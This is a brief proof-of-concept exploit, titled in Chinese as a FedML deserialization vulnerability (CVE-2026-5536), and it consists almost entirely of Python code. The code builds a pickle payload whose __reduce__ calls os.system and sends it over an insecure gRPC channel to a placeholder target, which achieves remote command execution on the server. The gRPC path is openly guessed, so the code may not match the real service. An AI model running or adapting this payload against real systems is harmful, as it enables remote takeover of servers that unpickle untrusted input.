CVE-2026-5536 FedML反序列化漏洞

import grpc import pickle # Malicious payload to achieve RCE via pickle deserialization class Payload: def __reduce__(self): import os return (os.system, ('touch /tmp/pwned',)) # Setup gRPC channel (assuming generic structure based on description) channel = grpc.insecure_channel('TARGET_IP:PORT') stub = channel.unary_unary( '/sendMessage_path', request_serializer=pickle.dumps, # Sending serialized payload response_deserializer=pickle.loads ) # Send malicious payload try: response = stub(Payload()) print("Payload sent successfully") except Exception as e: print(e)